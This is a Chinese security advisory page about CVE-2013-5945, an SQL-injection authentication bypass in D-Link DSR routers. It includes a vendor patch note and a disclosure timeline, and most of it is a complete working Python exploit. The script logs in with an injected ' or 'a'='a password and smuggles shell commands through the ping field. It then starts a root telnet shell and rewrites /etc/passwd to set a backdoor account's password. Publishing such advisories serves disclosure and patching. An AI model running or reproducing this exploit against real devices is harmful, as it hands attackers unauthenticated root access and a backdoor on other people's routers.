当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

D-Link DSR路由器系列产品SQL注入漏洞

信息来源:nu11.nu11      发表日期:2013-03-01 16:13:00

D-Link DSR是无线服务路由器产品。

D-Link DSR路由器系列产品在实现上存在SQL注入漏洞,成功利用后可使攻击者控制应用、访问或修改数据、利用下层数据库内的其他漏洞,从而绕过身份验证。

 

BUGTRAQ-ID:64172

CVE-ID:2013-5945

受影响系统:

D-Link DSR Router DSR-500N

D-Link DSR Router DSR-250N

D-Link DSR Router DSR-150N

D-Link DSR Router DSR-150

D-Link DSR Router DSR-1000N

D-Link DSR Router DSR-1000

D-Link DSR Router D-Link DSR-500

 

测试方法:

警  告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#!/usr/bin/python

#

# CVEs:                  CVE-2013-5945 - Authentication Bypass by SQL-Injection

#                        CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution

#

# Vulnerable Routers:    D-Link DSR-150 (Firmware < v1.08B44)

#                        D-Link DSR-150N (Firmware < v1.05B64)

#                        D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)

#                        D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)

#                        D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)

#

# Likely to work on:     D-Link DWC-1000

#

# Download URL:          http://tsd.dlink.com.tw

#

# Arch:                  mips and armv6l, Linux

#

# Author:                0_o -- null_null

#                        nu11.nu11 [at] yahoo.com

#                        Oh, and it is n-u-one-one.n-u-one-one, no l\'s...

#                        Wonder how the guys at packet storm could get this wrong :(

#

# Date:                  2013-08-18

#

# Purpose:               Get a non-persistent root shell on your D-Link DSR.

#

# Prerequisites:         Network access to the router ports 443 and 23.

#                        !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!

#

#

# Coordinated Disclosure -- history and timeline:

#

# 2013-09-12:   Informed Heise Security and asked for their support on this case

# 2013-09-13:   Informed the manufacturer D-Link via

#               http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/  (contact form is buggy!)

#               http://www.d-link.co.za/contactus/feedback/ (contact request submitted)

#               http://www.dlink.com/de/de/contact-d-link (contact form is buggy!)

#               mail@dlink.ru (contact request sent)

#               info@dlink.ee (contact request sent)

#               info@dlink.de (contact request sent)

# 2013-09-14:   Informed the German Federal Office for Information Security (BSI) via certbund@bsi.bund.de 

# 2013-09-16:   D-Link Russia and D-Link Germany claim to have forwarded my request.

# 2013-09-17:   German BSI responds, contact established.

# 2013-09-24:   Requested CVE-IDs.

# 2013-09-25:   Heise responds, contact established.

# 2013-09-27:   D-Link asks for details on vulns and the exploit code.

#               Mitre assigns two CVEs:

#                  CVE-2013-5945 -- authentication bypass

#                  CVE-2013-5946 -- privilege escalation

# 2013-09-30:   D-Link has received the exploit and documentation via BSI

# 2013-11-29:   Patches are available for the DSR router series via tsd.dlink.com.tw

#                 DSR-150:                Firmware v1.08B44

#                 DSR-150N:               Firmware v1.05B64

#                 DSR-250 and DSR-250N:   Firmware v1.08B44

#                 DSR-500 and DSR-500N:   Firmware v1.08B77

#                 DSR-1000 and DSR-1000N: Firmware v1.08B77

# 2013-12-03:   Public Disclosure

#

# And now - the fun part :-)

#

 

 

import httplib

import urllib

import telnetlib

import time

import sys

import crypt

import random

import string

 

 

##############################

#

# CHANGE THESE VALUES -- BEGIN

#

# Your router\'s IP:PORT

ipaddr = "192.168.10.1:443"

# Password to be set (by this hack) on the backdoor account

bdpasswd = "password"

#

# CHANGE THESE VALUES -- END

#

# persistent config file:    /tmp/teamf1.cfg.ascii

#                            Edit this file to make your changes persistent.

#

##############################

 

 

cookie = ""

pid = -2

bduser = ""

    

 

def request(m = "", u = "", b = "", h = ""):

    global ipaddr

    conn = httplib.HTTPSConnection(ipaddr, timeout = 15)

    assert m in ["GET", "POST"]

    conn.request(method = m, url = u, body = b, headers = h)

    ret = conn.getresponse()

    header = ret.getheaders()

    data = ret.read()

    conn.close()

    return (header, data)

 

 

def login(user, passwd):

    global ipaddr

    headers = {\'Accept\': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

               \'User-Agent\': "Exploit",

               \'Referer\': "https://" + ipaddr + "/scgi-bin/platform.cgi",

               \'Content-Type\': "application/x-www-form-urlencoded"}

    body = {\'thispage\'                          : "index.htm",

            \'Users.UserName\'                    : user,

            \'Users.Password\'                    : passwd,

            \'button.login.Users.deviceStatus\'   : "Login",

            \'Login.userAgent\'                   : "Exploit"}

    return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)

    

    

def logout():

    global ipaddr, cookie

    headers = {\'Accept\': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

               \'User-Agent\': "Exploit",

               \'Referer\': "https://" + ipaddr + "/scgi-bin/platform.cgi",

               \'Content-Type\': "application/x-www-form-urlencoded"}

    body = ""

    return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers)

 

 

def execCmd(cmd = None):

    global ipaddr, cookie

    assert cmd != None

    headers = {\'Accept\': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

               \'User-Agent\': "Exploit",

               \'Referer\': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm",

               \'Cookie\': cookie,

               \'Content-Type\': "application/x-www-form-urlencoded"}

    body = {\'thispage\'                          : "systemCheck.htm",

            \'ping.ip\'                           : "localhost;" + cmd,

            \'button.traceroute.diagDisplay\'     : "Traceroute"}

    return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)

 

 

def findPid(mystr = None):

    # "  957 root      2700 S    /usr/sbin/telnetd -l /bin/login"

    assert mystr != None

    mypid = 0

    (h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep");

    s = d.find(mystr)

    if s > 0:

        # telnetd is running

        cand = d[s - 50 : s]

        try:

            mypid = int(cand.split("\\n")[1].split()[0])

        except IndexError:

            mypid = int(cand.split(">")[1].split()[0])

    return mypid

 

 

def restartTelnetd(mystr1 = None, mystr2 = None):

    assert mystr1 != None and mystr2 != None

    global pid

    pid = findPid("telnetd -l /bin/")

    if pid > 0:

        # Stopping the running telnetd

        print "[+] Stopping telnetd (" + str(pid) + "): ",

        sys.stdout.flush()

        (h, d) = execCmd("kill " + str(pid))

        pid = findPid(mystr1)

        if pid > 0:

            print "FAILURE"

            sys.exit(-1)

        else:

            print "OK"

    # Starting a new telnetd

    print "[+] Starting telnetd: ",

    sys.stdout.flush()

    (h, d) = execCmd("telnetd -l " + mystr2)

    pid = findPid("telnetd -l " + mystr2)

    if pid > 0:

        print "OK (" + str(pid) + ")"

    else:

        print "FAILURE"

        sys.exit(-1)

    

 

def main():

    global ipaddr, cookie, pid, bduser, bdpasswd

    user = "admin"

    passwd = "\' or \'a\'=\'a"

    print "\\n\\nPrivilege Escalation exploit for D-Link DSR-250N (and maybe other routers)"

    print "This change is non-persistent to device reboots."

    print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)\\n\\n"

    # Logging into the router

    print "[+] Trying to log into the router: ",

    sys.stdout.flush()

    (h, d) = login(user, passwd)

    if d.find("User already logged in") > 0:

        print "FAILURE"

        print "[-] The user \\"admin\\" is still logged in. Please log out from your current session first."

        sys.exit(-1)

    elif d.find(\'<a href="?page=index.htm">Logout</a>\') > 0:

        while h:

            (c1, c2) = h.pop()

            if c1 == \'set-cookie\':

                cookie = c2

                break

        print "OK (" + cookie + ")"

    elif d.find("Invalid username or password") > 0:

        print "FAILURE"

        print "[-] Invalid username or password"

        sys.exit(-1)

    else:

        print "FAILURE"

        print "[-] Unable to login."

        sys.exit(-1)

        

    # Starting a telnetd with custom parameters

    print "[+] Preparing the hack..."

    restartTelnetd("/bin/login", "/bin/sh")

    

    # Do the h4cK

    print "[+] Hacking the router..."

    print "[+] Getting the backdoor user name: ",

    sys.stdout.flush()

    tn = telnetlib.Telnet(ipaddr.split(":")[0])

    tn.read_very_eager()

    tn.write("cat /etc/profile\\n")

    time.sleep(5)

    data = tn.read_very_eager()

    for i in data.split("\\n"):

        if i.find(\'"$USER"\') > 0:

            bduser = i.split(\'"\')[3]

            break

    if len(bduser) > 0:

        print "OK (" + bduser + ")"

    else:

        print "FAILURE"

        sys.exit(-1)

    print "[+] Setting the new password for " + bduser + ": ",

    sys.stdout.flush()

    tn.write("cat /etc/passwd\\n")

    time.sleep(5)

    data = tn.read_very_eager()

    data = data.split("\\n")

    data.reverse()

    data.pop()

    data.reverse()

    data.pop()

    data = "\\n".join(data)

    for i in data.split("\\n"):

        if i.find(bduser) >= 0:

            line = i.split(\':\')

            s1 = string.lowercase + string.uppercase + string.digits

            salt = \'\'.join(random.sample(s1,2))

            pw = crypt.crypt(bdpasswd, salt)

            line[1] = pw

            # doesn\'t work for some odd reason -- too lazy to find out why

            #salt = \'\'.join(random.sample(s1,8))

            #line[1] = crypt.crypt(bdpasswd, \'$1$\' + salt + \'$\')

            data = data.replace(i, ":".join(line))

            break

    tn.write(\'echo -en "" > /etc/passwd\\n\')

    time.sleep(5)

    for i in data.split("\\n"):

        tn.write(\'echo -en \\\'\' + i + \'\\n\\\' >> /etc/passwd\\n\')

        time.sleep(1)

    data = tn.read_very_eager()   

    tn.close()

    if data.find(pw) >= 0:

        print "OK (" + pw + ")"

        success = True

    else:

        print "FAILURE"

        print "[-] Could not set the new password."

        sys.exit(-1)

    

    # Switching back to the originals

    print "[+] Mobbing up..."

    restartTelnetd("/bin/sh", "/bin/login")

    

    # Logging out

    print "[+] Logging out: ",

    sys.stdout.flush()

    (h, d) = logout()

    if d.find(\'value="Login"\') > 0:

        print "OK"

    else:

        print "FAILURE"

        print "[-] Unable to determine if user is logged out."

 

    # Print success message

    if success:

        print "[+] You can now log in via SSH and Telnet by using:"

        print "    user: " + bduser

        print "    pass: " + bdpasswd

        print "    These changes will be reverted upon router reboot."

        print "    Edit \\"/tmp/teamf1.cfg.ascii\\" to make your changes persistent."

 

main()

sys.exit(0)

解决办法:

厂商补丁:

 

D-Link

------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

 

http://www.dlink.com/